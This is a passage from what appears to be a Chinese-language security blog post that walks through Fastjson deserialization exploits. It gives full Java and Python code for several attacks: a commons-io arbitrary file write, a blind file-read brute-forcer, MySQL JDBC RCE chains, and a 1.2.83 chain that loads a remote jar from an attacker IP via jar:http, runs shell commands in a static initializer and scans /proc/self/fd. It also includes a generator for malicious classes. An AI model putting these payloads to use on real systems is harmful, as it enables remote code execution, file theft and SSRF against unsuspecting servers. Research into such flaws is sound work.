" \"trigger2\": {\n" +
" \"@type\": \"java.lang.AutoCloseable\",\n" +
" \"@type\": \"org.apache.commons.io.input.XmlStreamReader\",\n" +
" \"is\": {\n" +
" \"@type\": \"org.apache.commons.io.input.TeeInputStream\",\n" +
" \"input\": {\n" +
" \"$ref\": \"$.input\"\n" +
" },\n" +
" \"branch\": {\n" +
" \"$ref\": \"$.branch\"\n" +
" },\n" +
" \"closeBranch\": true\n" +
" },\n" +
" \"httpContentType\": \"text/xml\",\n" +
" \"lenient\": false,\n" +
" \"defaultEncoding\": \"UTF-8\"\n" +
" },\n" +
" \"trigger3\": {\n" +
" \"@type\": \"java.lang.AutoCloseable\",\n" +
" \"@type\": \"org.apache.commons.io.input.XmlStreamReader\",\n" +
" \"is\": {\n" +
" \"@type\": \"org.apache.commons.io.input.TeeInputStream\",\n" +
" \"input\": {\n" +
" \"$ref\": \"$.input\"\n" +
" },\n" +
" \"branch\": {\n" +
" \"$ref\": \"$.branch\"\n" +
" },\n" +
" \"closeBranch\": true\n" +
" },\n" +
" \"httpContentType\": \"text/xml\",\n" +
" \"lenient\": false,\n" +
" \"defaultEncoding\": \"UTF-8\"\n" +
" }\n" +
" }\n" +
"}";
System.out.println("开始解析由 JSONObject 包裹、带引用且含畸形语法的全量 Payload...");
try {
// 触发漏洞
JSON.parse(jsonPayload);
System.out.println("解析完成。");
} catch (Exception e) {
System.out.println("\n[+] 提示:流已成功触发。最后一步转型抛出预期内的异常: " + e.getMessage());
}
System.out.println("请检查文件: " + targetPath);
}
}
这样就可以写入成功

commons-io文件读取
payload
{
"abc": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///Users/d4m1ts/Downloads/a.txt"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"charsetName": "UTF-8",
"bytes": [49] // 如果读出来的第一个字节是49,就返回,否则返回空
}]
},
"address": {
"$ref": "$.abc.BOM"
}
}
触发流程
第一步:建立文件连接
Fastjson 解析最内层的 jdk.nashorn.api.scripting.URLReader。它通过传入的 file:///Users/d4m1ts/Downloads/a.txt 路径,在底层打开一个指向该文件的文件句柄(字符流)。
第二步:转换流类型
接着解析外层的 org.apache.commons.io.input.ReaderInputStream。Fastjson 把刚刚创建的 URLReader 作为参数,传给 ReaderInputStream 的构造函数。此时,原来的“字符流”被包装成了“字节流”。
第三步:封装过滤器
最后解析最外层的 org.apache.commons.io.input.BOMInputStream。Fastjson 将第二步生成的字节流作为 delegate(代理流)传进去。同时,将你指定的 "bytes": [49](即字符 '1')作为预设的 BOM 头标志。
至此,名为 abc 的这个复合对象在内存中组装完毕。
触发
当 Fastjson 把所有对象实例化完成后,它会处理 JSON 最后的 address 字段。这里才是真正触发文件读取和逻辑判断的地方。
"address": { "$ref": "$.abc.BOM" }
Fastjson 看到 $ref 关键字指向 $.abc.BOM(即 abc 对象的 BOM 属性)。在 Java Bean 规范中,为了获取 BOM 属性的值,Fastjson 会自动去调用 abc(BOMInputStream)的 getBOM() 方法。
在 BOMInputStream.getBOM() 的源码内部,为了判断当前流是否包含 BOM 头,它必须真正去读文件。于是它调用 delegate.read(),顺着链条最终让 URLReader 去读取了 a.txt 文件的第一个字节。
- 情况 A(匹配成功):如果
a.txt的第一个字符确实是1(ASCII 码 49),getBOM()方法会认为“匹配到了正确的 BOM 头”,并返回一个ByteOrderMark对象。 - 情况 B(匹配失败):如果
a.txt的第一个字符不是1(比如是 'a'),getBOM()发现不匹配,就会返回null。
这样就可以通过盲注的方法读文件。
demo
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class FastjsonExploitDemo {
public static void main(String[] args) {
// 注意:Fastjson 1.2.68 即使不开启此项,只要满足 ExpectClass 也能绕过,
// 这里显式开启以便模拟真实环境的 checkAutoType 逻辑
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// 构造 Payload,目标读取 D:/flag.txt
// 假设 D:/flag.txt 的内容是 "123456"
String payload = "{\n" +
" \"abc\": {\n" +
" \"@type\": \"java.lang.AutoCloseable\",\n" +
" \"@type\": \"org.apache.commons.io.input.BOMInputStream\",\n" +
" \"delegate\": {\n" +
" \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\n" +
" \"reader\": {\n" +
" \"@type\": \"jdk.nashorn.api.scripting.URLReader\",\n" +
" \"url\": \"file:///D:/flag.txt\"\n" +
" },\n" +
" \"charsetName\": \"UTF-8\",\n" +
" \"bufferSize\": 1024\n" +
" },\n" +
" \"boms\": [{\n" +
" \"charsetName\": \"UTF-8\",\n" +
" \"bytes\": [49]\n" + // 49 是字符 '1' 的 ASCII 码
" }]\n" +
" },\n" +
" \"address\": {\n" +
" \"$ref\": \"$.abc.BOM\"\n" +
" }\n" +
"}";
System.out.println("--- 开始解析 Payload ---");
// 模拟服务端解析前端传来的 JSON
Object obj = JSON.parse(payload);
// 模拟服务端将解析后的结果再次序列化返回给前端
String jsonResult = JSON.toJSONString(obj);
System.out.println("--- 服务端返回给前端的 JSON 结果 ---");
System.out.println(jsonResult);
}
}
执行结果
--- 开始解析 Payload ---
--- 服务端返回给前端的 JSON 结果 ---
{"abc":{"bOM":{"bytes":"MQ==","charsetName":"UTF-8"},"bOMCharsetName":"UTF-8"},"address":{"$ref":"$.abc.bOM"}}
这说明文件第一个字符是1
如果
--- 开始解析 Payload ---
--- 服务端返回给前端的 JSON 结果 ---
{"abc":{}}
则说明不对。
可以写一个脚本去爆破
package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.util.ArrayList;
import java.util.List;
public class FastjsonExploitDemo1 {
// 构造动态的 JSON Payload
public static String generatePayload(List<Integer> knownBytes, int testByte) {
// 组装当前测试的字节数组
List<Integer> currentBytes = new ArrayList<>(knownBytes);
currentBytes.add(testByte);
// 将 List 转为 JSON 数组格式,例如 [49, 50, 51]
String bytesJson = currentBytes.toString();
return "{\n" +
" \"abc\": {\n" +
" \"@type\": \"java.lang.AutoCloseable\",\n" +
" \"@type\": \"org.apache.commons.io.input.BOMInputStream\",\n" +
" \"delegate\": {\n" +
" \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\n" +
" \"reader\": {\n" +
" \"@type\": \"jdk.nashorn.api.scripting.URLReader\",\n" +
" \"url\": \"file:///D:/flag.txt\"\n" +
" },\n" +
" \"charsetName\": \"UTF-8\",\n" +
" \"bufferSize\": 1024\n" +
" },\n" +
" \"boms\": [{\n" +
" \"charsetName\": \"UTF-8\",\n" +
" \"bytes\": " + bytesJson + "\n" +
" }]\n" +
" },\n" +
" \"address\": {\n" +
" \"$ref\": \"$.abc.bOM\"\n" +
" }\n" +
"}";
}
public static void main(String[] args) {
// 开启 AutoType 支持
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
System.out.println("[*] 开始纯 Java 内存级文件盲注...");
List<Integer> knownBytes = new ArrayList<>();
StringBuilder knownText = new StringBuilder();
// 可打印的 ASCII 字符范围主要在 32 (空格) 到 126 (~) 之间
// 如果文件包含换行符,可以把循环范围扩大到 0 ~ 255
int minAscii = 9; // 包含 Tab(\t), 换行(\n)等
int maxAscii = 126;
// 假设文件最大长度为 100 字符
for (int length = 1; length <= 100; length++) {
boolean hitThisRound = false;
for (int testByte = minAscii; testByte <= maxAscii; testByte++) {
// 跳过不常用的控制字符
if (testByte > 13 && testByte < 32) continue;
// 1. 生成 Payload
String payload = generatePayload(knownBytes, testByte);
try {
// 2. 模拟服务端解析
Object obj = JSON.parse(payload);
String jsonResult = JSON.toJSONString(obj);
// 3. 根据你发现的布尔条件进行精准判定:
// 如果不包含 "abc":{} 且包含 "bOM",说明匹配成功
if (!jsonResult.contains("\"abc\":{}") && jsonResult.contains("\"bOM\"")) {
knownBytes.add(testByte);
knownText.append((char) testByte);
System.out.printf("[+] 成功爆破出第 %d 个字符! 当前内容: %s (当前字节数组: %s)%n",
length, knownText.toString(), knownBytes.toString());
hitThisRound = true;
break; // 跳出当前字符的遍历,开始爆破下一个字符
}
} catch (Exception e) {
// 忽略反序列化过程中可能出现的流未关闭等异常,继续探测
}
}
// 如果遍历了所有 ASCII 码都没有命中,说明文件已经读到了末尾
if (!hitThisRound) {
System.out.println("[*] 未匹配到更多字符,盲注结束。");
break;
}
}
System.out.println("\n[+] 最终纯 Java 盲注出的文件内容为: " + knownText.toString());
}
}
这样就可以盲注出文件内容

Mysql JDBC RCE
https://github.com/fnmsd/MySQL_Fake_Server
可以用这个在本地开一个假的Mysql服务。
mysql 5.1.x >= 5.1.11
所需依赖
<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.11</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
payload
{
"@type":"java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "127.0.0.1",
"portToConnectTo": 3306,
"info":
{
"user": "CommonsCollections5", // 利用链,自己在MySQL_Fake_Server的conf里面改,具体看他的readme
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo": "dbname",
"url": ""
}
demo
package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class FastjsonMysqlRceDemo {
public static void main(String[] args) {
// 在某些高版本 JDK 中,可能需要开启原生反序列化支持
// System.setProperty("sun.io.serialization.extendedDebugInfo", "true");
// 构造针对 Fastjson 1.2.68 + MySQL JDBC 的 Payload
// 修正了 info 属性的显式类型声明,确保 Fastjson 能正确将其转换为 Properties 对象
String pwnPayload = "{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\": \"com.mysql.jdbc.JDBC4Connection\",\n" +
" \"hostToConnectTo\": \"127.0.0.1\",\n" +
" \"portToConnectTo\": 3306,\n" +
" \"info\": {\n" +
" \"@type\": \"java.util.Properties\",\n" +
" \"user\": \"CommonsCollections5\",\n" + // 匹配你 Fake Server 中的 Gadget
" \"password\": \"pass\",\n" +
" \"statementInterceptors\": \"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\n" +
" \"autoDeserialize\": \"true\",\n" +
" \"NUM_HOSTS\": \"1\"\n" +
" },\n" +
" \"databaseToConnectTo\": \"dbname\",\n" +
" \"url\": \"\"\n" +
"}";
System.out.println("[*] 正在解析 Payload,尝试触发 MySQL 连接...");
try {
// 触发反序列化
// 真实场景中,通常是服务端接收到了前端传入的 JSON 字符串进行解析
Object obj = JSON.parse(pwnPayload);
System.out.println("[*] 解析完成: " + obj.getClass().getName());
} catch (Exception e) {
System.err.println("[!] 触发过程中发生异常(若计算器已弹出则代表利用成功):");
e.printStackTrace();
}
}
}
执行结果

具体要执行的指令以及其他信息要在fake-mysql-server的config.json里写好
触发流程
输入解析
目标服务器(Web应用)收到你发送的恶意 JSON 字符串,并调用 JSON.parse(payload) 进行解析。
绕过 CheckAutoType
Fastjson 遇到了第一个 @type: "java.lang.AutoCloseable"。由于这是一个接口,且在 Fastjson 1.2.68 中属于合法的期望类(ExpectClass),Fastjson 会放行并将其放入缓存。
紧接着,Fastjson 遇到第二个 @type: "com.mysql.jdbc.JDBC4Connection"。它会检查这个类是否是之前期望类(AutoCloseable)的子类或实现类。
检查通过!因为 JDBC4Connection 继承自 ConnectionImpl,而 ConnectionImpl 实现了 java.sql.Connection,在 Java 中 Connection 继承了 AutoCloseable。
属性填充与对象创建
Fastjson 绕过了黑名单,开始实例化 JDBC4Connection 对象。
随后,Fastjson 遍历 JSON 中的其他键值对(如 hostToConnectTo、portToConnectTo、info),并调用对应的 Setter 方法或构造函数将这些值注入到对象中。
触发连接逻辑
在 Fastjson 为 JDBC4Connection 填充属性的过程中,或者在反序列化结束对象构建时,会隐式地触发类内部的连接初始化代码(例如调用了 connect() 或在特定 Setter 中触发了网络 Socket 建立)。
配置污染
由于你在 JSON 的 info 属性(java.util.Properties)中注入了恶意参数:
autoDeserialize=truestatementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor这些参数直接“污染”了 MySQL 驱动的连接配置。
向 Fake Server 握手
目标服务器作为“MySQL 客户端”,主动向你开好的fake-mysql-server(127.0.0.1:3306)发起 TCP 连接并进行 MySQL 协议的握手。
Fake Server响应
你的fake-mysql-server收到连接请求。根据你在配置中指定的用户名(user: "CommonsCollections5"),Fake Server 会在 MySQL 协议的特定阶段(如执行初始化查询或模拟服务器状态变更时),向目标服务器返回一段精心准备的 二进制 BLOB 数据(这段数据其实就是用ysoserial生成的CommonsCollections5的 Java 原生反序列化 Payload)。
拦截器介入
目标服务器的 MySQL 驱动收到数据后,因为配置了ServerStatusDiffInterceptor(服务器状态差异拦截器),驱动在处理返回结果时,会触发该拦截器的逻辑。
触发反序列化- 在拦截器内部,驱动发现你开启了
autoDeserialize=true。 - 代码会直接调用
ObjectInputStream.readObject()来解析 Fake Server 发回的那段 BLOB 字节流。 - 此时,Java 原生的反序列化漏洞被触发,
CommonsCollections5链在目标服务器本地被解包执行,最终调用Runtime.getRuntime().exec()弹出了计算器或执行了任意命令。
Mysqlconnector 6.0.2 or 6.0.3
payload
{
"@type":"java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy":
{
"connectionString":
{
"url": "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=CommonsCollections5"
}
}
}
demo
package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class FastjsonMysql6RceDemo {
public static void main(String[] args) {
// 构造针对 Fastjson 1.2.68 + MySQL 8.x 的 Payload // 注意:8.x 的部分版本中,queryInterceptors 与 statementInterceptors 的调用取决于具体的类,
// 这里沿用您给出的 url 配置
String pwnPayload = "{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\": \"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection\",\n" +
" \"proxy\":\n" +
" {\n" +
" \"connectionString\":\n" +
" {\n" +
" \"url\": \"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=CommonsCollections5\"\n" +
" }\n" +
" }\n" +
"}";
System.out.println("[*] 正在解析 Fastjson 1.2.68 + MySQL 8.x 利用链...");
System.out.println("[*] 目标恶意 MySQL 服务应保持在 127.0.0.1:3306 运行。");
try {
// 触发 Fastjson 反序列化
Object obj = JSON.parse(pwnPayload);
System.out.println("[*] 解析成功完成,生成的对象类型为: " + obj.getClass().getName());
} catch (Exception e) {
// 8.x 在反序列化中由于代理类初始化问题可能在后期抛出 NullPointerException 或 SQLException // 但这不影响前期连接建立与反序列化 Gadget 的触发
System.err.println("[!] 流程解析完毕(若计算器已成功弹出,说明命令执行已成功):");
e.printStackTrace();
}
}
}
执行结果

Mysqlconnector 6.x or < 8.0.20
payload
{
"@type":"java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy":
{
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl":
{
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters":
[
{
"host": "127.0.0.1"
}
],
"slaves":
[],
"properties":
{
"host": "127.0.0.1",
"user": "CommonsCollections5",
"dbname": "dbname",
"password": "pass",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true"
}
}
}
}
demo
package fastjson;
import com.alibaba.fastjson.JSON;
public class FastjsonMysql8ReplicationDemo {
public static void main(String[] args) {
// 构造针对 Fastjson 1.2.68 + MySQL 8.x (Replication 链) 的 Payload String pwnPayload = "{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\": \"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection\",\n" +
" \"proxy\":\n" +
" {\n" +
" \"@type\": \"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy\",\n" +
" \"connectionUrl\":\n" +
" {\n" +
" \"@type\": \"com.mysql.cj.conf.url.ReplicationConnectionUrl\",\n" +
" \"masters\":\n" +
" [\n" +
" {\n" +
" \"host\": \"127.0.0.1\"\n" +
" }\n" +
" ],\n" +
" \"slaves\":\n" +
" [],\n" +
" \"properties\":\n" +
" {\n" +
" \"host\": \"127.0.0.1\",\n" +
" \"user\": \"CommonsCollections5\",\n" + // 匹配你的 Fake Server 路由
" \"dbname\": \"dbname\",\n" +
" \"password\": \"pass\",\n" +
" \"queryInterceptors\": \"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor\",\n" + // 8.x 的新拦截器参数名
" \"autoDeserialize\": \"true\"\n" +
" }\n" +
" }\n" +
" }\n" +
"}";
System.out.println("[*] 正在解析 Fastjson 1.2.68 + MySQL 8.x Replication 利用链...");
System.out.println("[*] 请确保你的 fake-mysql-server 已在 127.0.0.1:3306 启动。");
try {
// 触发 Fastjson 反序列化
Object obj = JSON.parse(pwnPayload);
System.out.println("[*] 解析成功,对象类型: " + obj.getClass().getName());
} catch (Exception e) {
// 8.x 由于代理机制和反射调用较为复杂,在链条末尾极易抛出 NullPointerException // 但此时 Socket 通信与反序列化早已在底层执行完毕,不影响 RCE 触发
System.err.println("[!] 解析流程结束(若计算器已成功弹出,则说明本地复现成功):");
e.printStackTrace();
}
}
}
执行成功

在1.2.68可以绕过autoTypeSupport = false拦截,原理就是:如果反序列化时传入的类,是代码中预期的某个目标类/接口(即 ExpectClass)的子类或实现类,且该类不在黑名单中, Fastjson 会认为这是安全的并直接允许加载。在 Java 的标准库或常用第三方库中,有一些非常通用的接口或基类,其本身并不在黑名单中,但它们的某些实现类(或 Setter/Getter 方法)内部却包含了危险的操作。所以这个版本漏洞高度依赖第三方库。
修复的话就是推行了SafeMode,直接完全禁用了@type机制。
1.2.83无gadget RCE方法
这个是最近才爆出来的漏洞,看了一下分析
漏洞原理为springboot为了加载内部jar包,实现了LaunchedURLClassLoader,它支持jar协议
我写了一个demo
package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class FastJson_Learn {
public static void main(String[] args) {
String JSON_Calc = "{\"@type\":\"fastjson.Calc\",\"calc\":\"Faster\"}";
System.out.println(JSON.parseObject(JSON_Calc));
}
}
这个执行直接报错autoType is not support
这是因为autoType默认用白名单,而我自定义这个类肯定不在白名单里。
而检查用的是checkAutoType函数,检查这个函数里有一段

这里的typeName就是我们的@type内容,fastjson会先用getResourceAsStream去读取这个类的字节。这个函数的参数是我们可控的,所以有必要看一下这个函数
我们看一下getResourceAsStream函数

作用主要是先调用 getResource(name) 找到资源对应的 URL,如果找到了就打开一个输入流返回,找不到或者IO异常就返回 null。所以它不仅仅可以用于加载类,也可以访问url,如果你写一个域名是不可以的,例如https://baidu.com因为String resource = typeName.replace('.', '/') + ".class";会把.替换成空格,这里要用到SSRF一个经典绕过,可以把ip写成十进制,例如127.0.0.1可以写成2130706433,我把我的ip 121.89.81.39可以写成2035896615,所以payload
{"@type":"http://2035896615:2333/probe"}
访问成功(前提是要包装成spring-boot应用,但是这也是真实生产环境中的跑法)


访问的时候后面一定不要只写一个http://2035896615:2333后面要随便拼接一个路经或者只加一个/斜杠也可以,因为源码里写的后面要拼接.class,为了和url地址分割,加一个/
解析器真的向外发起了请求,试图从一个我们指定的 URL 去获取我们的"类",凭借的仅仅是一个恰好长得像 URL 的资源名。这就是一个直接从反序列化器里冒出来的盲 SSRF,而且是在 AutoType 关闭的情况下。
接下来就是进一步利用
所以普通的 http:// 是能用了。那 jar: 链接呢?
这里先补充一下知识点,那就是jar:协议,核心功能是允许程序直接读取或操作压缩包(.jar、.zip)内部的特定文件/资源,而无需先手动把它解压出来。
JVM 和类加载器(ClassLoader)需要从压缩包内部提取代码,用的就是 jar: 协议
语法结构: jar:<JAR文件路径>!/<包内部的文件路径>
示例:
- 读取本地 Jar 包内的图片:
jar:file:/app/libs/myapp.jar!/images/logo.png - 读取远程 服务器上的 Jar 包(如果底层 URL 处理器支持):
jar:http://example.com/plugin.jar!/com/example/MyClass.class
!感叹号的作用是分隔符,分割jar文件路径和包内部文件路径
typeName是我们的@type,resource是 fastjson 实际去查找的那个名字。safeMode和autoTypeSupport都是false。
现在我们手里有两样东西了:一个盲 SSRF,以及一个会去获取我们指定的jar:的服务器。但我们能不能让它去运行获取回来的东西?
jsonType
在紧接着的代码里可以看到:如果我们 jar 里的那个类带有 JSONType,fastjson 就会加载它并把它返回,而且这一步发生在那句 "autoType is not support" 之前。

于是计划就变成了:
- 让 fastjson 通过
getResourceAsStream从一个我们可控的地方拿到我们的类。 - 因为我们的类带有
@JSONType,fastjson 会加载并创建它。 - 当 fastjson 创建实例时,这个类的静态初始化块就会执行,而那段静态代码就是我们的代码。
从 SSRF 到 RCE
最简单的做法是用 jar: 的 URL 形式 jar:http://host/jar!/Class,它指向远程 jar 里的某个类。这样一来,用 jar:http://2130706433:31337/f!/Evil,fastjson 就会下载这个 jar,loadClass 从中定义出 Evil,静态块随之执行。
只要写一个类似这样的恶意类就可以了,包含JSONType
import com.alibaba.fastjson.annotation.JSONType;
@JSONType
public class Evil {
static {
try {
Runtime.getRuntime().exec(new String[]{
"/bin/sh",
"-c",
"id > /tmp/fastjson-rce.txt; date >> /tmp/fastjson-rce.txt"
});
} catch (Throwable e) {
e.printStackTrace();
}
}
public Evil() {
}
}
编译打包,编译时一定要用jdk8
wget https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.83/fastjson-1.2.83.jar
javac -cp fastjson-1.2.83.jar Evil.java
jar cf f Evil.class
启动http服务
python3 -m http.server 2333 --bind 0.0.0.0
本地payload
{"@type": "jar:http://2035896615:2333/f!/Evil"}
这样就可以成功了。
但是我真实试了一下,可以看到


日志里可以看到其实是发送了请求的,但是没有执行,我看了一下目标是用JDK17跑的,好像JDK8可以,换一下试试
环境换成JDK8了,可以成功。


payload就是
{"@type":"jar:http:..2035896615:2333.a!.999"}
这个远程的文件名字叫a,类名叫999,这个我是让ai写一个脚本生成的。
在高版本里把://给禁止了,高版本里无法直接加载,但是它已经把jar包给下载了,只需要找到把jar包放到哪里了,那样就可以用file://指向它。
这里就要用到/proc/self/fd
当 JVM 通过 jar:http 下载一个远程 jar 时,它并不是流式读取,而是把整个文件保存到一个临时文件 /tmp/jar_cache<随机>.tmp,打开它,然后在保持打开的同时把这个文件从磁盘上删除。文件从目录列表里消失了,但通过那个仍然打开的文件描述符依然完全可读。在 Linux 上,一个打开的描述符 N 可以通过 /proc/self/fd/N 访问到。
所以在第一个请求下载完 jar 之后,它其实还在那里、还开着,位置类似 /proc/self/fd/11。第二个 @type 就指回它:
jar:file:.proc.self.fd.11!.E11
fastjson 会对它执行 replace('.', '/'),把它变成资源路径 jar:file:/proc/self/fd/11!/E11.class,直接从那个打开的描述符里读出我们的类。它最终加载时所用的名字是 jar:file:/proc/self/fd/11!/E11,而关键就在于——这个名字里不含 ://。那个双斜杠正是 JDK 9 开始在 defineClass 里拒绝的东西。file:/proc/self/fd/... 只有单斜杠,于是我们拿到了执行。
那个描述符编号是未知的。它不总是 11,取决于这个进程当时打开了多少文件。所以我们不去猜,而是做扫描:为每一个候选编号(E10、E11,一直到几百)各准备一个特制的类,每个类都命名成与自己那个描述符相匹配,然后一个编号发一个请求,直到某个命中为止。
但是由于jar包的内容是跟文件名挂钩的,也就是E.class的类名必须是【jar:file:.proc.self.fd.<num>!.E】,所以存在一个预测<num>的操作,实战中可能没那么好用。
一旦确认 /proc/self/fd 这条读取路子是通的,我们就让 Claude 写了个 jar 生成器,批量产出这些类,并对编号做暴力枚举。
感觉还是好麻烦,因为这个num数字是不确定的,不能单独爆破数字,需要生成几百个jar包,例如E1-E500,E1对应爆破数字1,E500对应爆破500,如果只有一个jar包的话,例如Evil 这个类名加载失败了”或者“Evil 不存在”。 当你在下一次试探 $N=11$ 再次请求 Evil 时,ClassLoader 可能会直接抛出之前的失败缓存,根本不再去尝试读取 FD 11
只要命中,就可以加载。
所以只需要一个jar文件,而这个jar文件有一堆名字不同的.class文件,爆破加载就可以了。
jdk高版本会再defineclass时被拦截。
简单来说就是spring-boot fat jar为了加载内部jar包,实现了LaunchedURLClassLoader,它支持jar协议,checkAutoType函数的getResourceAsStream会去读取资源,如果传入的资源是一个URL地址,也会去访问,这就造成一个SSRF。我们可以利用jar:协议来读取外部的jar包,并且如果外部jar包包含JSONType,那就可以在报错之前触发类加载,但是这个只可以在JDK8上打,如果更高级的jdk会拦截//双斜杠,但是SSRF依然存在,依然可以下载jar包,接下来就是利用/proc/self/fd/N来找到jar包在哪里,再用file:协议加载就避免出现//双斜杠,只要N预测对,就可以RCE。
这个漏洞相当于一个特例,因为普通的ClassLoader,只会在本地寻找文件,找不到就返回null,所以大部分ClassLoader不支持这一条链路,但是SpringBoot Fat Jar算是一个特例,LaunchedURLClassLoader.findResource直接把name喂回了URLClassLoader,而URLClassPath的通用Loader将name根据不同格式解析,最后构成了利用链路。
可以写一个脚本批量生成这个文件
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Batch generator for fastjson 1.2.83 weird-name @JSONType classes.
It generates a jar-like zip containing class entries such as Evil.class/E10.class,
while each classfile's internal name is the weird name produced by fastjson's
`typeName.replace('.', '/')` behavior.
Example direct JDK8 chain:
payload typeName: jar:http:..2035896615:2333.g!.Evil class internal: jar:http://2035896615:2333/g!/Evil jar entry: Evil.class
Example /proc/self/fd scan chain:
payload typeName: jar:file:.proc.self.fd.11!.E11 class internal: jar:file:/proc/self/fd/11!/E11 jar entry: E11.class"""
import argparse
import os
import subprocess
import sys
import textwrap
import urllib.request
from pathlib import Path
ASM_VERSION = "9.7.1"
ASM_URL = f"https://repo1.maven.org/maven2/org/ow2/asm/asm/{ASM_VERSION}/asm-{ASM_VERSION}.jar"
JAVA_SRC = r'''
import org.objectweb.asm.*;
import java.nio.file.*;
import java.util.*;
import java.util.jar.*;
public class BatchWeirdGen {
static class Item { String entry; String internal; String cmd; Item(String entry, String internal, String cmd) { this.entry = entry; this.internal = internal; this.cmd = cmd; } }
public static void main(String[] args) throws Exception { if (args.length < 4 || args.length % 3 != 1) { System.err.println("usage: java BatchWeirdGen <out.jar> <entry> <internalName> <cmd> [...]"); System.exit(2); } Path outJar = Paths.get(args[0]); ArrayList<Item> items = new ArrayList<Item>(); for (int i = 1; i < args.length; i += 3) { items.add(new Item(args[i], args[i + 1], args[i + 2])); } Files.deleteIfExists(outJar); try (JarOutputStream jos = new JarOutputStream(Files.newOutputStream(outJar))) { jos.putNextEntry(new JarEntry("META-INF/MANIFEST.MF")); jos.write("Manifest-Version: 1.0\n\n".getBytes("UTF-8")); jos.closeEntry(); for (Item it : items) { jos.putNextEntry(new JarEntry(it.entry)); jos.write(makeClass(it.internal, it.cmd)); jos.closeEntry(); System.out.println(it.entry + " => " + it.internal); } } System.out.println("wrote " + outJar + " classes=" + items.size() + " bytes=" + Files.size(outJar)); }
static byte[] makeClass(String internalName, String cmd) { ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES | ClassWriter.COMPUTE_MAXS); cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC, internalName, null, "java/lang/Object", null);
AnnotationVisitor av = cw.visitAnnotation("Lcom/alibaba/fastjson/annotation/JSONType;", true); av.visitEnd();
MethodVisitor init = cw.visitMethod(Opcodes.ACC_PUBLIC, "<init>", "()V", null, null); init.visitCode(); init.visitVarInsn(Opcodes.ALOAD, 0); init.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false); init.visitInsn(Opcodes.RETURN); init.visitMaxs(0, 0); init.visitEnd();
MethodVisitor cl = cw.visitMethod(Opcodes.ACC_STATIC, "<clinit>", "()V", null, null); cl.visitCode(); cl.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); cl.visitInsn(Opcodes.ICONST_3); cl.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/String"); cl.visitInsn(Opcodes.DUP); cl.visitInsn(Opcodes.ICONST_0); cl.visitLdcInsn(System.getProperty("weird.shell0", "/bin/sh")); cl.visitInsn(Opcodes.AASTORE); cl.visitInsn(Opcodes.DUP); cl.visitInsn(Opcodes.ICONST_1); cl.visitLdcInsn(System.getProperty("weird.shell1", "-c")); cl.visitInsn(Opcodes.AASTORE); cl.visitInsn(Opcodes.DUP); cl.visitInsn(Opcodes.ICONST_2); cl.visitLdcInsn(cmd); cl.visitInsn(Opcodes.AASTORE); cl.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false); cl.visitInsn(Opcodes.POP); cl.visitInsn(Opcodes.RETURN); cl.visitMaxs(0, 0); cl.visitEnd(); cw.visitEnd(); return cw.toByteArray(); }}
'''
def find_java_tools(jdk=None):
if jdk:
java = Path(jdk) / "bin" / ("java.exe" if os.name == "nt" else "java")
javac = Path(jdk) / "bin" / ("javac.exe" if os.name == "nt" else "javac")
if not java.exists() or not javac.exists():
raise SystemExit(f"JDK path invalid: {jdk}")
return str(java), str(javac)
